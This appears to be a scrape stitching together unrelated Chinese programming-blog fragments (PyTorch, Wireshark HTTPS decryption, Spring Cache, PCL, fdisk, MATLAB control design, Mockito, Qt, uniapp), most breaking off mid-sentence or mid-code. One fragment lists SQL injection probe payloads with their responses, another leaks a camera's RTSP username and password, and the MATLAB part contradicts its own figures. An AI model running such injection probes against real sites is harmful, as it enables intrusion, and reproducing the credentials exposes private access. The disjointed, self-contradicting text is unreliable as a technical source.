# 测试torch_stack()拼接张量 # 在新维度2上拼接,原有t是2×3,两个t拼接后变成12个元素,那么拼接后形状为(2,3,2),意思为“2个3×2矩阵” t_3 = torch.stack([t, t], dim=2) print("t_3 is{}\nt_3 shape is{}".format(t_3, t_3.shape)) # 在第1个维度前插入个新维度,原有维度降级 t_4 = torch.
1、wireshark 抓包为什么不显示出来? wireshark 是基于网络层的抓包工具,通过捕获通信双方的TCP/IP包实现内容提取。对于应用层的数据,如果应用层协议是公开的,就可以直接显示数据。处理HTTPS 协议时,因为不知道客户端、服务端的私钥,所以对应的数据不可见。 也就是说,如果 wireshark 能够获取私钥,就能显示HTTPS的通信数据。
2、利用chrome浏览器实现对https的抓包: 1、配置环境变量 SSLKEYLOGFILE C:\Users\Sun\sslkey.log
**
注: 这个环境变量具体根据自己电脑配置,用的时候添加,不用记得删掉。因为它在其他程序运行时可能给你带来异常:OPENSSL_Uplink(XX……XX,08): no OPENSSL_Applink
**
2、重启谷歌浏览器,在指定位置查看是有生成sslkey.log 文件。
3、配置配置 wireshark 配置wireshark:编辑---->首选项---->protocols---->TLS
4、抓取HTTPS数据包 使用谷歌浏览器访问https网站或者在浏览器控制台发送请求。
备注:
1.打开控制台-如下图所示(或者浏览器页面右键->检查->切换到console控制台即可)
2.控制台输入如下代码
fetch(new Request('url地址',{method:'POST'})).then((resp)=>{console.log(resp)}) 注意:url地址是需要访问的接口路径,如果需要传递参数,就将请求参数添加到url后面即可(与get方式一样)
3.完成第二步之后,点击回车即可。在地址请求栏你会看到接口的请求信息,到此大功告成!
如果解密失败就会显示如下:
不使用时一定要将配置的路径删除掉,C:\Users\Sun\sslkey.log 会不断变大影响其他程序的。
参考链接:
https://www.zhangshilong.cn/work/268389.html
https://blog.csdn.net/qq_17328759/article/details/122884006
springcache是java的缓存框架,它是一种抽象,一种规范,开发者不能直接使用他,必须用他的一些实现,比如redis,ehcache。两个的关系就好比jdbc与mysql驱动的关系。springboot为搜springcache提供了自动化配置方案,只需要引入依赖即可。
Cache接口下Spring提供了各种xxxCache的实现,如RedisCache,EhCacheCache ,ConcurrentMapCache等;
一、Cache与CacheManger 针对不同的缓存技术,需要实现不同的cacheManager,Spring定义了如下的cacheManger实现。
常规的SpringBoot已经为我们自动配置了EhCache、Collection、Guava、ConcurrentMap等缓存,默认使用ConcurrentMapCacheManager。SpringBoot的application.properties配置文件,使用spring.cache前缀的属性进行配置。
2、缓存依赖 spring-boot-starter-cache 为基础依赖,其他依赖根据使用不同的缓存技术选择加入,默认情况下使用 ConcurrentMapCache不需要引用任何依赖,这里使用 RedisCacheManager,则只需要引入redis的"spring-boot-starter-data-redis"依赖即可,Redis使用模式使用pool2连接池,再需要引用org.apache.commons的依赖"commons-pool2"
<!--spring cache,当使用的是redis最为缓存,则该依赖页不需要--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-cache</artifactId> </dependency> <!--redis 连接池依赖包--> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-pool2</artifactId> </dependency> <!--redis --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> 3、application.yml配置 spring: application: name: cache_demo datasource: druid: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://ip:3306/itcast?serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true username: root password: 123456 type: com.alibaba.druid.pool.DruidDataSource redis: database: 0 # Redis数据库索引(默认为0) timeout: 60000 # 连接超时时间(毫秒) password: 123456 host: ip port: 6379 lettuce: shutdown-timeout: 100 # 毫秒 pool: min-idle: 5 # 连接池中的最小空闲连接 max-active: 5000 # 连接池最大连接数(使用负值表示没有限制) max-idle: 10 # 连接池中的最大空闲连接 max-wait: 1000 # 连接池最大阻塞等待时间(使用负值表示没有限制):毫秒 cache: redis: time-to-live: 1800000 # 缓存默认有效时长,以毫秒为单位 type: redis #指定使用redis作为缓存 4、缓存注解 下面是缓存公用接口注释,使用与任何缓存技术
记录学习过程,向量到欧拉角
目的是将机器人工具指向目标平面法线
先通过点云拟合出平面,得到平面方程,相应得到平面法向量(A,B,C) typedef pcl::PointXYZ PointT; typedef pcl::PointCloud<PointT> PointCloudT; cout << "->正在估计平面..." << endl; pcl::SampleConsensusModelPlane<PointT>::Ptr model_plane(new pcl::SampleConsensusModelPlane<PointT>(cloud_transformed)); //选择拟合点云与几何模型 pcl::RandomSampleConsensus<PointT> ransac(model_plane); //创建随机采样一致性对象 ransac.setDistanceThreshold(0.01); //设置距离阈值,与平面距离小于0.01的点作为内点 ransac.computeModel(); //执行模型估计 PointCloudT::Ptr cloud_plane(new PointCloudT); vector<int> inliers; //存储内点索引的向量 ransac.getInliers(inliers); //提取内点对应的索引 pcl::copyPointCloud<PointT>(*cloud_transformed, inliers, *cloud_plane); //输出模型参数Ax+By+Cz+D=0 Eigen::VectorXf coefficient; ransac.getModelCoefficients(coefficient); cout << "平面方程为:\n" << coefficient[0] << "x + " << coefficient[1] << "y + " << coefficient[2] << "z + " << coefficient[3] << " = 0" << endl; 固定法线方向,因为法线有可能会为反向 if (coefficient[2] > 0) { coefficient[0] = 0 - coefficient[0]; coefficient[1] = 0 - coefficient[1]; coefficient[2] = 0 - coefficient[2]; cout << "
Ⅰ 验证是否注入点 从下面的注入测试来看,只有两种输出结果
如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax”
?id=1 --+ --You are in.... Use outfile...... ?id=1' --+ -- You have an error in your SQL syntax ?id=-1' --+ --You have an error in your SQL syntax ?id=1\ --+ --You are in.... Use outfile...... 查看是否存在双引号注入
正常输出,说明有执行,存在双引号注入
?id=1" --+ -- You are in.... Use outfile...... 查看是否存在闭合特殊符号
?id=1' and 1=1--+ -- 报错,sql没有执行,存在闭合 ?id=1') and 1=1--+ --报错,还有一个闭合 ?
【推荐阅读】
浅谈linux 内核网络 sk_buff 之克隆与复制
深入linux内核架构--进程&线程
了解Docker 依赖的linux内核技术
创建文件系统也称之为磁盘分区格式化。
磁盘:也称之为硬盘,由盘片,机械臂,磁头,马达组成。马达带动盘片旋转,,由机械臂上的磁头在盘片上读写数据。
磁盘盘片的组成:
1.扇区:(sector)为最小物理存储单位,每个扇区为512字节
2.柱面:(cylinder)是分区(partition)的最小单位
3.磁盘的第一个扇区通常存放MBR(开机主引导记录,Master boot record)及磁盘分区表(partition table),其中MBR占用446字节,而磁盘分区表占64字节,最后2个字节为启动标记。
每16个字节标示一个分区,在linux系统上最多能分四个主分区,或者三个主分区和一个扩展分区,在扩展分区中可以划分多个逻辑分区。注意:一个硬盘只能有一个扩展分区!
使用fdisk -l: 查看所有磁盘信息,后跟设备路径查看某个磁盘的信息:
使用fdisk 后跟磁盘路径会出现交互式选项:
使用m是获得帮助:
使用d是删除一个分区:加入我删除第三个分区:
使用q是不保存退出:
退出后,我们发现删除操作没有生效。再看看其他选项:
选项n是新建一个分区,我们这里已经有三个主分区了,因此我把第四个分区设为扩展分区,以便我在其内部创建逻辑分区,由于linux操作系统上只能创建四个主分区,所以,最后两项柱面的选项我都选择了默认。如果我们不按回车选默认,就会有一段磁盘空间无法分配使用,这样就会浪费磁盘空间。
使用选项p显示当前分区信息:
然后我们就来创建逻辑分区:
选项l:各分区类型所对应的system id:
使用选项t,可以修改某指定分区的system id:
我现在将创建好的分区进行保存退出(w),并用fdisk -l查看:
这样分区就创建好了,但这时候内核并未对新创建的分区进行识别,打开/proc/partitions进行查看:
使用partx -a 后跟磁盘名称,先试一试:
我为何之前要说试一试,有时候使用上述方法不一定能让内核识别,如果内核无法识别,就使用:partx -a [分区] [设备磁盘名称]。
如果内核无法对所创建的分区进行识别,就无法对其进行控制。而只有内核对分区进行控制之后,分区才能够被格式化。
partx还有一个用法:partx -d [--nr 分区] [设备磁盘名称]
下面我们看看分区格式化:
格式化分区,也称作创建文件系统:
创建文件系统的命令有很多,但是mkfs是通用命令,对非ext系列文件系统均可创建。不过,要使用mkfs创建文件系统需要两个前提:
1.文件系统必须被内核支持才能使用,即内核中有相应的内核模块,或已经将之整合进入内核。
2.要有相应的文件系统创建工具,通常是mkfs.fstype
上图是我的虚拟机中的linux所拥有的文件系统创建工具,我们先看看已经创建好的分区的文件系统类型,使用blkid命令查看:
我们已经看到前两个分区是ext4类型,第三个分区是swap类型,而第四,第五个分区都还没有创建文件系统,但是第四个分区它是扩展分区,
扩展分区上是不能够直接创建文件系统的,而只能在其内部的逻辑分区上创建,也就是在第五个分区上创建:
以上我使用mke2fs -t ext4 /dev/sda5对分区5进行了文件系统的创建,我们再来查看一下:
对于ext系列的文件系统的创建方式有一下几种:
mkfs -t ext4 = mkfs.ext4 = mke2fs -t ext4
Kinetics 数据集是一个用于视频动作识别的大型数据集。它包含超过600类的动作, 其中一些例如: 举重游泳游戏攀岩打篮球烹饪打乒乓球打高尔夫骑自行车敲键盘弹钢琴 该数据集是由 Google DeepMind 和 其他机构共同开发并整理,包含了超过 600,000 个视频片段,总时长超过 7200 小时,并且还不断更新。
使用 Forge 开发的首款 Jira Cloud 插件 Sprint Reviewer ,用于展示与查询 Jira Software projects 中所有 Sprints 基本信息。已于 2022年12月 成功上架 Atlassian Marketplace。
虽然 Atlassian 工具开箱即用、功能强大,但是每个企业都有其独特的挑战,其中一些挑战需要定制化解决方案。目前在其市场上有超过 4000 个应用程序,超过2.5万开发者,包括为团队构建自定义应用程序的内部开发人员,以及在 Atlassian 市场发布应用程序的第三方开发人员。
为了更好地支持开发生态的发展,Atlassian 发布了云端开发平台 Forge,让开发者可以更安全地构建和运行整合 Altassian 服务的云端应用程序。
Forge 是 Atlassian 在 2021年5月 正式发布的一种创新尝试,目标将开发人员从复杂的云应用开发配置中解脱出来,而只需关注开发过程中最关键的部分,即实现业务逻辑。
随着 Forge 已经支持 Jira, Jira Service Management, Confluence 和 Compass 等产品,我们现在可以为 Atlassian Marketplace 或自己的业务需求构建应用程序/插件,同时享受它提供的好处。
在 Atlassian 平台内运行的 Forge 插件,更安全、更合规且可扩展更好。Forge 的独特之处在于,它不需要我们提供基础设施来构建和托管应用程序。
Atassian Forge 平台3大组件 Forge 由三个关键组件组成,为开发人员提供了更快、更简单的应用开发体验。
FaaS 托管平台
由 Atlassian 运营,提供计算和存储服务。Forge 内部与 AWS Lambda 结合,支持在托管应用程序上运行无服务器函数。它使我们有机会将复杂的应用程序逻辑作为函数来执行,而无需构建一个完整的 WEB 后端来处理它们。
出现这个问题大概是 ts 觉得获取到的值可能不存在的问题 将 报错的地方写成 if 判断语句 或者三元表达式 即可 解决 如果还解决不了可以使用 ! 在报错语句后面添加即可 网上查了下 好像是让ts 不执行运行检查
1、JSON字符串数组转对象集合 String json ="json数组数据"; JSONArray res = JSON.getJSONArray(json); //用json的方法toJavaList,参数放入想转的集合对象就可以了 List<MonthTaskRes> monthTaskRes = res.toJavaList(MonthTaskRes.class); 2、将java对象转换为json字符串 利用json与java对象之间可以相互转换的方式进行存值和取值 String s = JacksonUtils.getInstance().writeValueAsString(user); System.out.println(“对象转化字符串:”+s); User user1 = JacksonUtils.getInstance().readValue(s, User.class); System.out.println(user1 ); 3、json字符串与Java对象的转换 a> 把Java对象列表转换成json对象数组,并转为字符串 JSONArray array=JSONArray.fromObject(list); String jsonString = array.toString(); b> 把Java对象转换成json对象,并转化成字符串 JSONObject obj = JSONObject.fromObject(user); Log4jInit.ysulogger.debug(obj.toString()); c> 把json字符串转换成Java对象数组 JSONArray json=JSONArray.fromObject(jsonString);//jsonString字符串数组 List<User> list =(List<User>) JSONArray .toCollection(json,User.class); d> 把字符串转换成java对象 JSONObject obj = JSONObject.fromObject(jsonString);/jsonString字符串 User user= (User)JSONObject.toBean(obj,User.class); 4、步骤 1、、、引入jar 包
<!-- fastjson依赖 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.
前言 已知一个单位负反馈系统的开环传递函数,利用串联校正的方法使系统在校正相角裕度、超调量、调节时间达到设计指标。
一、设计任务 二、未校正前系统性能分析 1.校正前的频域分析 代码如下:
% MATALAB程序为: num=[30];%%校正前传递函数 f1=[1,0];f2=[0.1,1]; f3=[0.04,1]; den=conv(f1,conv(f2,f3)); g1=tf(num,den) figure(1); %第一个图 显示原系统的bode图 [mag,pha,w]=bode(g1); margin(mag,pha,w) 由图可知校正前系统的频域性能指标如下:
幅值裕度 =1.31; 穿越频率=15.8;
相角裕度=4.1°;
因为系统幅值裕度和相角均为正值,故系统在校正前出于稳定状态,穿越频率为14.6rad/s和相角裕度4.1°证明系统本身有着很大的相角裕度可以挖掘,故采用串联滞后校正。
2.校正前系统的时域分析 代码如下(示例):
%MATLAB程序: num=[30];%%校正前传递函数 f1=[1,0];f2=[0.1,1]; f3=[0.04,1]; den=conv(f1,conv(f2,f3)); g1=tf(num,den) figure(2);%%校正前系统的阶跃响应 step(feedback(g1,1)) 如图2中分析可的,校正前系统超调量为80%,调节时间约为6s,超出设计指标。
三、校正分析 3.1校正方案的选择 由图2的相频特性可以看出原系统的相角裕度很小,系统接近临界稳定,但原系统的穿越频率仍有很大余量,故采用串联滞后调节,滞后校正为系统带来了负的相移,但由于仍处于低频段,对系统的稳定裕量不会有大的影响。而由于新的截止频率前移,使对应的相角裕量还能有所增加,改善了原系统的动态性能,另外,串入滞后校正后,不但不影响稳态精度,还可以适当提高开环增益,进一步改善静态性能。因此采用串联滞后校正。
3.2校正函数的计算 由原系统bode图可知,此时相角裕量只有4.1°。现用滞后网络进行校正,目的是要增大相角裕量,若选择矫正后的幅值穿越频率为5.27rad/s,此时相角裕度可达到60°。这就意味着应设置一个滞后网络,把原系统在w=5.27rad/s处的幅频特性数值减小到零,并对此频率附近的相角曲线不产生明显影响,因为只有这样才能维持相角裕度为60°。但实际校正中,滞后网络在新的幅值穿越频率上也要产生一个不大的负相角,所以,实际的Wc要选的比5.27rad/s小一些,本设计中选择在相角裕度为55°处的频率4.5rad/s作为矫正后的幅值穿越频率。
可以测量到,未校正系统在w=4.5rad/s处时的对数幅值为15.5dB,故滞后网络在频率w’=4.5rad/s上的幅频特性对数值应接近-16dB。这样才能使校正后系统在此频率的幅频特性对数值等于0dB,使4.5rad/s成为校正后系统的穿越频率。
滞后校正网络传递函数为;
已知滞后网络对数幅值的最大值为20lga,原系统在w’=4.5rad/s上的对数幅值为
于是有:
求解得:
此时求出的a就是滞后网络两个转折频率的比值。为了使滞后网络对原系统在wc’处的相角不产生明显影响,选取
由aT=1/w2即可计算出T=14.06。
即校正网络函数为:
校正后系统的开环传递函数为
四、校正后的系统的性能分析 4.1校正后系统的频域分析 通过MATLAB绘制出校正后系统的bode图:
MATALAB程序为:
num=[66.6,30];%%校正后的传递函数 f1=[14.06,1,0]; f2=[0.1,1]; f3=[0.04,1]; den=conv(f1,conv(f2,f3)); g4=tf(num,den); figure(4); %第一个图 显示原系统的bode图 [mag,pha,w]=bode(g4); margin(mag,pha,w) hold on grid; 由图可知校正前系统的频域性能指标如下:
幅值裕度=16.9; 穿越频率=4.
问题描述 Postman像下面这样一直在发起请求,等待响应
可能的原因 路径写错了,找不到路径存在跨域问题 第一个问题很容易排查,这里说下第二个问题,跨域问题通常有两种解决方案,如下:
(1)CORS技术 : 现在主流解决方案,只需要服务器设置一个允许跨域响应头即可
res.setHeader(‘Access-Control-Allow-Origin’, ‘*’)
(2)jsonp技术 : 以前的方案,只能处理get请求的跨域问题,现在很少使用。 如果要处理其他请求,流程较为复杂。
如果你不了解跨域,或者想了解更详细,可以参见文章:什么是跨域以及如何解决
特别注意 Node中可以通过挂载cors中间件解决跨域,而如果你挂载了还是请求不到,那可能就是没加括号!
这里特别给学习Node的小伙伴们提个醒
这里采用beeline进行文件重定向导出到本地。 命令为:
beeline -u jdbc:hive2://192.***.***.***:10000 --outputformat=csv2 -e "select * from db_name.table_name;" > /home/file/test.csv 其中:
-u:指定hive数据库连接
--outputformat:指定输出文件格式
-e:指定查询语句,也可以将其替换为 -f 后面传.sql文件
这里遇到一个坑是在指定outputformat时,传入的参数是csv,但是csv已经被弃用,使用csv参数时,导出的数据是被单引号包裹的,新版本是csv2,会将单引号去掉,输出数据原本类型。
--outputformat=csv --outputformat=csv2
简介 为了提升代码质量,避免bug。开发之后的测试是不可或缺的,以前虽然写了单元测试,但实际上,依赖着数据库和下游服务接口,属于集成测试的范围。并没有很好的对代码进行验证,导致能够在开发环境复现的问题,暴露在生产环境上。修复起来周期较长,浪费开发资源,浪费生命,简单的东西多次去修改。需要有合理的开发和自测流程保证代码质量。同时,单侧也能对代码的风格进行矫正,能够方便进行单元测试的代码是合理的,易扩展的和兼容的。
简单使用 在使用 @Mock 和 @InjectMocks 注释的模拟中,可以通过在 @RunWith() 中指定MockitoJUnitRunner来运行测试。
@RunWith(MockitoJUnitRunner.class) public class UserServiceMockTest { } 以下通过一个demo展示具体单测过程
@RunWith(MockitoJUnitRunner.class) public class UserServiceMockTest { @Mock private UserRepository userRepository; @InjectMocks private UserService userService; @Test public void testGetUser_MockAnnotation() { User mockUser = new User("test-name","test-email@126.com"); Mockito.doReturn(mockUser).when(userRepository).getUser(mockUser.getName()); User user = userService.getUser(mockUser.getName()); Assert.assertEquals(mockUser.getName(), user.getName()); Assert.assertEquals(mockUser.getEmail(), user.getEmail()); // 验证 mockUserRepository.getUser() 方法是否执行 Mockito.verify(userRepository).getUser(mockUser.getName()); Mockito.verifyNoMoreInteractions(userRepository,userService); } } 个人理解 代码中@Mock注解模拟依赖对象,@InjectMock注解用在测试对象上面。
其中Mockito.doReturn(mockUser).when(userRepository).getUser(mockUser.getName()),表示模拟的userRepository对象当调用getUser(mockUser.getName())时就会返回mockUser,目的是用来模拟依赖方法。
模拟了依赖对象的方法之后,User user = userService.getUser(mockUser.getName());这里userService中会自动注入@Mock引入的对象,userService中依赖了userRepository对象获取User对象。前面模拟了userRepository的getUser()方法,所以user调用到模拟对象的方法获取到值。
调用获取到模拟对象的返回值之后,对返回数据进行验证。Assert.assertEquals(mockUser.getName(), user.getName());对依赖对象的方法进行验证,Mockito.verify(userRepository).getUser(mockUser.getName());
对依赖对象进行验证,Mockito.verifyNoMoreInteractions(userRepository,userService);
至此,一个通过Mockito进行单元测试的完成。
其他用法 验证verify
运行:
gst-launch-1.0 rtspsrc latency=0 location= "rtsp://admin:L21CF489@192.168.117.9:554/cam/realmonitor?channel=1&subtype=0" latency=0 ! rtph264depay ! avdec_h264 ! videoconvert ! videoscale ! ximagesink name=videosink
报错:
root@ubuntu:/home/book/filebeat-8.5.0-linux-x86_64# gst-launch-1.0 rtspsrc latency=0 location= "rtsp://admin:L21CF489@192.168.117.9:554/cam/realmonitor?channel=1&subtype=0" latency=0 ! rtph264depay ! avdec_h264 ! videoconvert ! videoscale ! ximagesink name=videosink
Setting pipeline to PAUSED ...
Pipeline is live and does not need PREROLL ...
Progress: (open) Opening Stream
Progress: (connect) Connecting to rtsp://admin:L21CF489@192.168.117.9:554/cam/realmonitor?channel=1&subtype=0
Progress: (open) Retrieving server options
ERROR: from element /GstPipeline:pipeline0/GstRTSPSrc:rtspsrc0: Could not read from resource.
在实际应用中,视图展示的数据往往并非一成不变的,那么如何实时更新成了一个很重要的问题!
功能:
(1)添加委托(进度条)
(2)显示文件名称、大小、进度、速度、剩余时间、状态等。
(3)可进行添加、更新、删除、清空等操作。
(4)实时更新数据
委托(进度条):
ProgressBarDelegate::ProgressBarDelegate(QObject *parent) : QItemDelegate(parent) { } void ProgressBarDelegate::paint(QPainter* painter, const QStyleOptionViewItem& option, const QModelIndex& index) const { if(index.column() == 2) { int progress = index.model ()->data(index, Qt::DisplayRole).toInt (); QStyleOptionProgressBarV2 progressBarOption; progressBarOption.state = QStyle:: State_Enabled; progressBarOption.direction = QApplication:: layoutDirection (); progressBarOption.rect = option.rect; progressBarOption.fontMetrics = QApplication:: fontMetrics (); progressBarOption.minimum = 0; progressBarOption.maximum = 100; progressBarOption.textAlignment = Qt:: AlignCenter; progressBarOption.textVisible = true; progressBarOption.progress = progress; progressBarOption.
需求input标签placehholder字体灰色,居中显示
方案:给input标签添加placeholder-style属性
<view class="form-item itemA"> <input placeholder="请输入手机号" type="text" class="input1" placeholder-style="font-size:24rpx;color:#999999;text-align:center;font-weight:500;"/> </view> <style lang="scss" scoped> .form-item { width: 572rpx; height: 90rpx; border-radius: 10rpx; background: #FFFFFF; overflow: hidden; padding: 4rpx 4rpx; border: 4rpx solid #E6EAF6; box-sizing: border-box; >input { height: 100%; background: #E6EAF6; border-radius: 10rpx; overflow: hidden; } } </style> 效果图